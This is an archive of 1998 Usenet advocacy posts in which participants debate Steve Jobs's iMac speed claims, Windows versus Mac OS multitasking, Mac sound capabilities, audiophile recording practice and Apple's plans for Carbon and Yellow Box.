Brian Quinlan
quinlan@intergate.bc.ca
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From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 19 Aug 1998 21:31:24 GMT
Organization: University of Maryland, College Park
Message-ID: <6rfg7c$tfg$1@hecate.umd.edu>
References: <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net> <B1FFC698-6CC0E@206.165.43.134> <6rf4ss$4ab$1@plo.sierra.com> <rbarris-ya023280001908981129280001@206.82.216.1> <6rfc11$ca4$6@hecate.umd.edu> <rbarris-ya023280001908981346490001@206.82.216.1>
Rob Barris (rbarris@quicksilver.com) wrote:
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: > Rob Barris (rbarris@quicksilver.com) wrote:
: > : In article <6rf4ss$4ab$1@plo.sierra.com>, "Earl Malmrose"
: > : <earl.malmrose@nospam.sierra.com> wrote:
: >
: > : > Lawson English wrote in message ...
: > : > >>Really? I have the source code for Byte and Codewarrior 3 (the compiler
: > : > >>used for the majority of software compiled for the mac). Please
: advise me
: > : > >>how to repeat this fact.
: > : > >
: > : > >Actually, most development work is done using CodeWarrior but if you need
: > : > >the highest speed, you do your final build using Mr C or some other, more
: > : > >efficient PPC compiler (Motorola, perhaps?).
: > : >
: > : > Then might it also make sense to use the highest speed x86 compiler,
: if you
: > : > want a more fair benchmark? MSVC++ 5.0 is at least 40% faster than the
: > : > Watcom that BYTE used.
: >
: > : This seems like a perfect opportunity for Intel to strike back with
: > : their own benchmarks. It's been at least three or four months since the
: > : "snail" ad aired, you'd think we would have heard their counterpoint by
: > : now.
: >
: > Intel's spokesperson says that Intel does not comment directly about
: > anyone else's product. The little guys always wants to compare themselves
: > to the big guys, but the big guys usually does not respond. Responding
: > means that you legitimize the little guy's competition claim.
: Good point. Do they avoid comparisons with other competitors such as AMD too?
As far as I know, yes. I haven't seen any Intel Ad that says "AMD sucks,
buy Intel", or "Intel is so much faster than AMD/Cyrix". Most all the
Ads are by AMD trying to instill the image that K6-2 300 is nearly as
fast as a Pentium II 400. Intel just has those silly Bunny people
hopping around.
: > Intel would need to worry more about getting the 450 MHz, 2 Meg L2 version
: > of Xeon out the door, for profitability sake instead of some silly snail
: > ad.
: How are they doing with that heat problem?
: http://www.news.com/News/Item/0,4,25304,00.html
Well enough I think. There's still the backlog, but at least no one can
claim that 4 way Xeons are vaporware anymore. It's just my opinion that
it's better to have people criticize and buy your shipping product than
to have people praise your vaporware. But that's just my opinion.
: Rob
Date: Wed, 19 Aug 1998 14:41:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <joe.ragosta-1908981441010001@wil87.dol.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net> <35DB11EE.3016@ieighty.net>
In article <35DB11EE.3016@ieighty.net>, legacy@ieighty.net wrote:
> Alex Kac wrote:
> >
> > In article <6rd1km$bgs$1@plo.sierra.com>, "Earl Malmrose"
> > <earl.malmrose@nospam.sierra.com> wrote:
> >
> > : Legacy 'Xunker' wrote in message <35D9F38E.6407@ieighty.net>...
> > : >
> > : >Point of order, though. Win9x doesn't do Premptive MTing, either.. they
> > : >fake it real well.
> > :
> > : Wrong. Win9x does do pre-emptive multitasking. It is not "faked".
> >
> > Considering that you can't download a large file and do any browsing at
> > the same time on a just opened Pentium II-400 with 128MB of RAM, I don't
> > think I would put much into this real pre-emptive multi-tasking.
> >
> > Heck, the pre-emptive, memory protected OS I wrote for a CS class did
better...
>
> My point exactly. If its a *true* premptive, then the machine should
> never crash from an outside app. A BSOD form IE should not cause a
> system freeze if its true PMT. PMT means that the OS is always in
> control -- it goes hand in hand protected memory.
True. But even a PMT system can crash--when the system itself crashes.
In these days of including everything but the kitchen sink as part of the
System, it's hard to tell when something is an application crash and when
it's an OS crash.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: More lies from Jobs on iMac speed
Message-ID: <edewExyoB6.DEC@netcom.com>
Sender: edew@netcom2.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <joe.ragosta-1808981606460001@wil59.dol.net> <6rd336$buo$1@plo.sierra.com> <slrn6tkmpa.1j5.cjm@herbie.husker>
Date: Thu, 20 Aug 1998 00:06:42 GMT
In article <slrn6tkmpa.1j5.cjm@herbie.husker> cjm@purdue.edu writes:
>On Tue, 18 Aug 1998 16:25:47 -0700, Earl Malmrose wrote:
>>Joe Ragosta wrote in message ...
>>>
>>>Jobs is practicing marketing. The means carefully selecting your claims to
>>>support your position. He has not lied in any reasonable sense of the
>>>word.
>>
>>From <http://www.apple.com/pr/library/1998/aug/13fast.html>
>>
>>"The iMac for $1,299 toasts the fastest PC money can buy at any price--the
>>Pentium II 400," said Steve Jobs, Apple's interim CEO.
>>
>>That is a lie, period. He is implying overall system performace based on the
>>flawed (IMO) BYTEmarks. He left out the part about only toasting the PII-400
>>in BYTEmarks. That is misleading. That is a lie.
>
>
>Steve Jobs never lied, and he never asked anyone to lie. Now mind your
>business, all of you--this is between Steve, the iMac, and their god.
Yeah, what Steve said was legally the truth. Now let's this pass because
it has hurt enough innocent people.
(You'd wonder if Clinton had a "how to lie" pow-wow with Steve when he was
last in the area?)
EDEW
Date: Thu, 20 Aug 1998 13:46:00 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <christian.bau-2008981346000001@christian-mac.isltd.insignia.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com> <35d98440.15799568@news.netdirect.net> <jak-1808982348440001@dialup110.phnx.uswest.net> <35d9ed36.2151113@news.netdirect.net> <jak-1908982053290001@ddialup168.phnx.uswest.net> <6rgonk$pm9$1@nnrp1.dejanews.com>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <6rgonk$pm9$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <jak-1908982053290001@ddialup168.phnx.uswest.net>,
> jak@asu.edu (John Kestner) wrote:
>
> > But since Macs start with CD-quality sound, the need to
> > upgrade is far off enough (at least 5 years, I'd say) that it'd be time to
> > upgrade the whole computer anyway.
>
> But your Mac takes a speed hit when you try playing a sound with a higher than
> CD sampling rate. For example, if you play a sound taken from DAT then the Mac
> has to resample the sound in software. PC cards accept a wide varietly of
> sampling rates and bits/sample.
>
> > >Not for serious gaming. Those guys want the 3D Surround Sound
> > >experience.
> >
> > Ok, that would answer my question. Now is that something that is encoded
> > in more than the 2 standard stereo channels? If not, then can't it be
> > added with the right speakers?
>
> Even if you only want 2D sound, the Mac is not well equipped. Good PC sound
> cards can transform several channels of sound, in hardware, to generate 2D
> positional and velocity (doppler) effects. The Mac has to do this in software.
But then it has the worlds most powerful processors for desktop computers,
especially for floating point and for bit fiddling, and that is what you
need for handling sound.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 21 Aug 98 14:04:24 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2032EEB-9EF58@206.165.43.27>
References: <6rkkda$9tt$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
quinlan@intergate.bc.ca said:
>The difference is not in the graphics API but how Carbon and YB
>applications
>handle events. I believe that you are a Mac OS programmer so think about
>how
>your applications deal with their windows being dragged. They detect the
>mouseDown event, call FindWindow, call DragWindow and then call
>MoveWindow.
>The window is now in it's new position. In YB, windows movement is
>controlled
>by the window server so you don't see any of that. The same is true of
>menus.
>The user will be able to see the difference because the windows and menus
>of
>Carbon applications will be frozen when that application is busy while YB
>applications will not have this problem. Apple can either hack the Mac OS
>event model (which will probably break a fair number of programs), it make
>the YB app behavior inferior or it can let the behavior stay inconsistent.
I can't address that level of detail since I'm not under NDA. OTOH, if I
were under NDA, I couldn't either...
HOWEVER, I suspect that the rewrites that Carbon requires WILL support
YB-esque windows handling. You could (for instance) make the standard
windows handling routines simple stubs and handle everything
behind-the-scenes without direct support from the Mac app. Basically, the
Mac app never receives the events related to windows-handling in the first
place so it never has any problems dealing with the non-MacOS windowing.
Since currently, menu-selection freezes foreground tasks in Rhapsody (or
did, last I heard), menu-handling wouldn't need to change at all, only
windows-handling. All you'd need to do would be to track update events and
let the windows manager handle resizing, moving and so on behind the
scenes. Every time it does so, it sends you an update event which you deal
with normally.
Some testing might need to be done for apps that expect to know that the
window has been resized, but that would come out in the conversion to
Carbon, I'd think.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 21 Aug 98 14:06:45 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2032F77-A105E@206.165.43.27>
References: <1de4det.3d9y5zmr82bmN@roxboro0-018.dyn.interpath.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
John Moreno <phenix@interpath.com> said:
>
>Both developers and users are taking a wait and see attitude towards all
>of this because of past behavior, apple needs to counter this with
>aggressive adoption of the new technology (FileMaker, ClarisWorks,
>Emailer and any other app they have that they think wouldn't loose too
>much money), and aggressive marketing of it (start selling preorders of
>MacOSX for both the PPC and Intel). "This time we're coming out with a
>new OS and we mean it".
Ironically, the first Carbonized app from Apple may be HyperCard since the
player app for the next version of HC will be the QuickTime player app.
Lots of noises on the HC mailing list about the delays in HC 3.0, which I
suspect are due to trying to make HC cross-platform for Windows, MacOS and
Carbon.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: petcher@howdy.wustl.edu (Donald N. Petcher)
Newsgroups: comp.sys.next.advocacy
Subject: No question about focus -> Apple is targetting everybody!
Date: 19 Aug 1998 21:41:03 GMT
Organization: Washington University in St. Louis
Message-ID: <6rfgpf$sq9$1@newsreader.wustl.edu>
Not long ago there was some discussion about who Apple thought it's market
would be and whether they were playing to a nitch market. In an Apple
press release entitled "Retailers Experience Record Consumer Demand for
iMac" (http://biz.yahoo.com/prnews/980819/ca_apple_i_1.html) they say:
> Apple Computer, Inc. ignited the personal computer revolution in
> the 1970s with the Apple II, and reinvented the personal
> computer in the 1980s with the Macintosh. Apple is now
> recommitted to its original mission -- to bring the best
> personal computing products and support to students, educators,
> designers, scientists, engineers, businesspersons and consumers
> in 140 countries around the world.
Looks like that settles the question. Apple is targeting everybody!
From: "OhBe1" <pablo123@clara.net>
Newsgroups: uk.media.tv.brookside,utexas.gslis.iplab,comp.sys.next.advocacy
Subject: Re: Great Opportunity SPAM!!
Date: Thu, 20 Aug 1998 01:31:18 +0100
Message-ID: <6rfq66$8cm$1@eros.clara.net>
References: <EfsC1.2031$Q%6.1822985@news.axxsys.net>
How do we get deleted? email address does not make sense, so I cannot
report to abuse@, or webmaster@.....
PS, wasn Oooh Ahh brilliant yesterday??
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 19:31:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rkhub$705$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net>
In article <joe.ragosta-2108980750200001@wil89.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Unless you measure "better" by ease of use, productivity, or cost of
> ownership. Then, NT falls well short of Mac OS.
>
> It _does_ win on buzzword compliance, though.
Joe, as you probably know, I use both the Mac OS and Windows. I prefer the
interface of the Mac OS but, other than the interface, Windows NT provides a
much better experience for me. When I'm programming the Mac OS, my machine
freezes several times a day. With NT, it freezes once a month. NT is faster
than the Mac OS. NT has applications that I need that aren't available on the
Mac OS. NT feels more responsive.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 21 Aug 1998 21:24:15 GMT
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Message-ID: <6rkohv$d78$1@cronkite.cs.umd.edu>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <p.kerr-1908981231590001@news.auckland.ac.nz> <6repa4$bge$2@walter.cs.umd.edu> <gmgraves-1908981015510001@sf-usr1-40-168.dialup.slip.net> <6rf3pj$fjd$1@walter.cs.umd.edu> <p.kerr-2108981037050001@news.auckland.ac.nz>
NNTP-Posting-User: seanl
Peter Kerr (p.kerr@auckland.ac.nz) wrote:
: seanl@cs.umd.edu (Sean Luke) wrote:
: >George Graves (gmgraves@slip.net) wrote:
: >: I insist upon reproduction accuracy. I use real music to "recalibrate" my
: >: ears at every possibly oppertunity. But I don't want recordings to sound
: >: like they do at studios (bad) because I don't generally listen to music
: >: recorded IN studios (not critically, anyway).
: >
: >Neither do I. I'm not talking about recording in studios. I'm talking
: >about *postproduction* in studios. Mixes, sound adjustment, etc. Which
: >is about 90% of existant albums and CDs, and about 99% of *new* albums and
: >CDs.
: Oh. Sorry, I'm in the less than 1% category. Classical, recorded in the
: studio, or live concerts, hot mixed, less mikes makes it easier. Do it
: once, do it right.
Actually, well, you are. :-) Most live recordings we did of classical
concerts were multiple-mike and required postproduction mixes. Even the
two-mike ones often went through sound checks and adjustments in the
studio afterwards.
But while live classical recording is (sadly) probably only 1%, you're
right I should have mentioned that it often has less mixing (single
stereo mike hung from above maybe).
Sean Luke
seanl@cs.umd.edu
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Followup-To: rec.audio.opinion
Date: 21 Aug 1998 21:56:09 GMT
Organization: University of California at San Diego
Message-ID: <slrn6trr7p.aju.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <joe.ragosta-1908980753220001@wil70.dol.net> <6rep0b$bge$1@walter.cs.umd.edu> <gmgraves-1908981000230001@sf-usr1-40-168.dialup.slip.net>
On Wed, 19 Aug 1998 10:00:22 -0700, George Graves <gmgraves@slip.net> wrote:
:In article <6rep0b$bge$1@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke) wrote:
:> It's also entirely artificial. The high and low end are both carefully
:> emphasized, the subaural (<50Hz) low end is included, and with the right
:> electronics, specific mid-range frequency elements are brought to the fore
:> depending on the music, and filtering provides great spatial body. The
:> resultant psychoacoustical effect is very interesting. It is all
:> this...let's be nice and call it 'sound adjustment'...that provides the
:> large bulk of the "more real than real" listening experience with
:> expensive rigs. You like to think that you finally hear "the music" on
:> one of these. But the truth is that the music performed in real life
:> never sounded so impressive. It's like turning the contrast up on a TV.
:> Real life doesn't actually have such rich colors.
:
:This is completely wrong. No audiophile worth his/her salt would EVER
:buy a system like that. I went to great lengths to insure that the frequency
:response of my system in my listening room is flat. Most audiophiles do
:the same.
Still, the psychoacoustic effect of a "top of the line stereo" is often
quite different from the real thing. But many really good stereo systems
adjusted well are in fact impressive to the discerning without being
"effect laden".
My experience:
Good stereo reproduction and conventional recording techniques
has better "imaging" than the real thing, if you count imaging as "able
to pinpoint the angle of the sound like a 'homing device'.
And often it is 'impressive'.
For acoustic chamber music, stereo reproduction can be quite
realistic, if you sit still in one location, depending on the skill of
the recording engineer.
But, in my opinion, there is still a *significant* gap between "the best
stereo system ever made" and "full orchestra, live, in a good hall"---
to take a personal example I've experienced, third row center,
Carnegie Hall, Vienna Philharmonic.
The real thing has a combination of a stunningly powerful, unforced deep
texture and reverberation without losing *any* voicing or clarity. That
sort of texture I have never heard reproduced electronically.
It's also true that a good stereo system sounds better than many
mediocre venues.
(And it's also true that many artists perform better live than for studio
recordings.)
:> George, there's no getting around a simple fact: engineers didn't mix the
:> sound on Magnaplanars. Good postproduction was done mostly likely on
:> pseudo-consumer grade (JBL, Yamaha NS10, etc.) near-field monitors, in a
:> low-reverberant, low-noise setting (what the control room shoots for),
:> and accompanied by headphones. These speakers and headphones have
:> enormous flaws, but they are _the_sound_generation_system_ that the
:> engineers tuned their mixes to.
:
:They do that because those are the qualities of the speakers most people
:own. Few people own Maggies or Watt/Puppy's, it would do the large body
:of record buyers a great disservice to "mix" music on systems that are
:far more accurate than the average buyer has access to.
Contemporary classical recordings are mixed and monitored on excellent
speakers, as well as ordinary ones. And even some high-quality historical
recordings surely sound better today on contemporary equipment than they
ever sounding in the mixing room of the day. (e.g. RCA Living Stereo)
: If you want to hear the sound as it was
:> mixed, you buy the speakers it was mixed for, and try to replicate the
:> environment it was mixed in. And I guarantee you won't like what you hear
:> (flat, with an unimpressive bass and few ambient spatial effects). But
:> that's what the *real* sound is.
:Wrong again.
I disagree with Graves on all sorts of technical things (cables and
the like), but this is quite true. The sound in the monitor room
(already microphoned and processed) may not be particularly impressive
either, but the real thing in an actual hall can be devastatingly good.
And often engineers that the thing they are hearing is not that great,
but they also know how to make it sound pretty good on many systems.
An engineer's system might also be intentionally designed to point out
flaws, instead of sounding good.
: I have recorded (and attended) more symphony orchestra concerts
:than most people have ever heard of. I know what real music sounds like,
:because REAL music in REAL space is my reference and I 'recalibrate' my
:ears every chance I get. My system sounds as close to real music as
:technology can make it, and it does NOT sound the way you characterize it!
:George Graves
Fundamentally stereo reproduction is flawed and limited---two channels
of scalar signals is not the same as a full 3 dimensional pressure field.
It's amazing it works as well at it does.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: steve <steve@paule.ncpa.olemiss.edu>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Fri, 21 Aug 1998 16:59:47 -0400
Organization: The University of Mississippi
Message-ID: <Pine.LNX.3.96.980821165837.32416B-100000@paule>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35DC37CF.56D9BDC2@ericsson.com> <joe.ragosta-2108981424080001@wil54.dol.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <joe.ragosta-2108981424080001@wil54.dol.net>
Joe's right. he knows much more about cars than he does computers or
analogies. OR honesty.
On Fri, 21 Aug 1998, Joe Ragosta wrote:
> In article <35DC37CF.56D9BDC2@ericsson.com>, Michael Peck
> <Michael.Peck@ericsson.com> wrote:
>
> > Joe Ragosta wrote:
> >
> > > > No instead we have a bunch of bureaucrats telling car manufacturers
> > > > what they will make and how many. We have CAFE standards that mandate
> > > > smaller less safe cars. We have air bags being forced onto cars
> > >
> > > Not true. CAFE standards mandate fuel economy. There's nothing in them
> > > that mandates that cars need to be less safe.
> >
> > Fuel economy standards are a function of automobile size class.
>
> That's true.
>
> But if you have a CAFE that says you have to reach 29 mpg fleet average,
> you can do that a number of different ways. Making the cars less safe is
> only one of them.
>
> --
> Regards,
> Joe Ragosta
> http://www.dol.net/~Ragosta/complmac.htm
>
>
Steven Zanvil Sawolkin
228-G Freedom Dr.
Belleville, IL
U.S.A. 62226-5184
618-277-7380
lymond@peaknet.net
alternate: jgerdes@stclair.k12.il.us
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Message-ID: <rbarris-ya023280002108981506420001@206.82.216.1>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu> <6rkmf4$hnl$1@plo.sierra.com>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Fri, 21 Aug 1998 15:06:42 -0700
NNTP-Posting-Date: Fri, 21 Aug 1998 15:04:18 PDT
In article <6rkmf4$hnl$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
>
> Steve Jobs: "I think also, you know, the iMac is faster than the fastest PC
> you can buy for any amount of money."
>
> Absolutely false, and thus a flat-out lie.
He said that's what he thinks. Awfully clever of him. He's giving his
competitors a golden opportunity to show him wrong, they should take him up
on it.
Rob
From: quinlan@intergate.bc.ca
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Fri, 21 Aug 1998 22:03:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rkqse$i1m$1@nnrp1.dejanews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net> <6rf5np$4lp$1@plo.sierra.com> <35DCBF40.56DB@friend.ly.net> <35DDC424.248C@ieighty.net>
In article <35DDC424.248C@ieighty.net>,
legacy@ieighty.net wrote:
> He woulkd have to. If you ran that under '9x, it would just Multitask
> it, not prempt it. Now out something like, say, integer mandelbrot of
> pi to the nth calculation sting in there, run it on a 385/25, and then
> see how well it prempts. NT is the ONLY MS OS that offer true
> pre-emtion.
What do you mean by "it would Multitask it, not prempt it?" How could it
multitask it without preempting it when it doesn't explicitly hand over the
processor?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Fri, 21 Aug 1998 13:39:21 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6rkmf4$hnl$1@plo.sierra.com>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net> <6rkgjd$55s$1@msunews.cl.msu.edu>
NNTP-Posting-Date: 21 Aug 1998 20:48:36 GMT
spammers@ruin.the.internet.channelu.com wrote in message
<6rkgjd$55s$1@msunews.cl.msu.edu>...
>In <stone-1808981820410001@rc-pm3-1-06.enetis.net> Kevin Stone wrote:
>> In article
><macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net>,
>> macghod@concentric.net (Steve Sullivan) wrote:
>> (snip)
>> > Steve Jobs is lieing
>>
>> I agree for the most part. But I would argue that Steve Jobs is not
>lying.
>
>Check out my transcript from the CNBC Market Watch interview last
>friday with
>him then.
>
>http://www.channelu.com/Transcripts/SJCNBC.1998.08.14.1710.html
>
>I heard nothing referring to BYTEmark and as I stated
>in my comments at the end I believe that Mr. Jobs does a disservice
>to his hardware in making such statements. Just because one benchmark
>reports results consistent with his view it is not fair to use those
>results
>to make blanket statements about performance.
>
>I won't say he's lied.
I will.
Steve Jobs: "I think also, you know, the iMac is faster than the fastest PC
you can buy for any amount of money."
Absolutely false, and thus a flat-out lie.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Thu, 20 Aug 1998 10:06:20 -0500
Organization: Ericsson North America Inc.
Message-ID: <35DC3B6C.C933B47@ericsson.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John Moreno wrote:
[cut]
> I think they are going with 2 - the point is that although they may be
> brain dead and think that it's not going to earn them money or that it
> would take away profits from their hardware sales or that the intel
> inside logo clashed with apple logo and would turn people off -- but if
> they sold every single copy they had by noon the day it was released and
> had to back order several million more orders, they would change their
> mind.
They may or they may not. This may seem so obvious to you, but perhaps
you will remember that selling MacOS on clone machines wasn't good
enough in 1997. It was more important to sell Apple hardware than to
sell Apple operating systems. Nothing has changed since this time last
year.
> Yes - but even self-fulfilling prophecies can be wrong.
Sure they can. This one will not. I think Apple decided a long time ago
that it is going to be a hardware company. Operating systems, to Apple,
are gimmicks to sell machines.
> "I'm going to smoke 3 packs a day until I die of cancer when I'm in my
> sixti...screech, bang, [bus runs you over]".
Hmmmm, quite right. Apple may indeed be out of business by the time
MacOS X is planned for shipment anyway.
